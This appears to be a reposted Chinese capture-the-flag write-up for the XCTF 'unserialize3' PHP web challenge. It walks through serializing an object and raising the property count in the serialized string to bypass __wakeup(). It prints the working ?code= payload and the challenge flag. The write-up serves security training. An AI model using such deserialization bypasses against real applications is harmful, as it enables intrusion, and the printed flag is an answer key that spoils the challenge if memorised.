攻防世界-web unserialize3

打开环境,进入页面

这貌似是要给code一个值,那我们看看上面的那段代码,class xctf,声明了一个对象。

然后我突然注意到了_wakeup(),这个以前貌似见过,nice,想起来了,这是魔术方法嘛。如果需要反序列化的时候,php才会调用_wakeup()。所以我们需要利用反序列化。

那好我们需要反序列化。写一下吧

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
echo serialize($a);
?>

这样运行一下的话,输出

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

那我们如果直接这样?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";},那他会直接输出bad requests,

那这并不是我们想要的结果。所以我们还要利用漏洞绕过。而_wakeup()要求被序列化的对象属性个数要大于原来的1

将序列化字符串中代表变量个数的数字改为大于其真实值的数字,得到结果。

pyload

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag:

cyberpeace{ecb272ecae9b3b73f3009359272108b0}
原文地址:https://www.cnblogs.com/awsole/p/13859428.html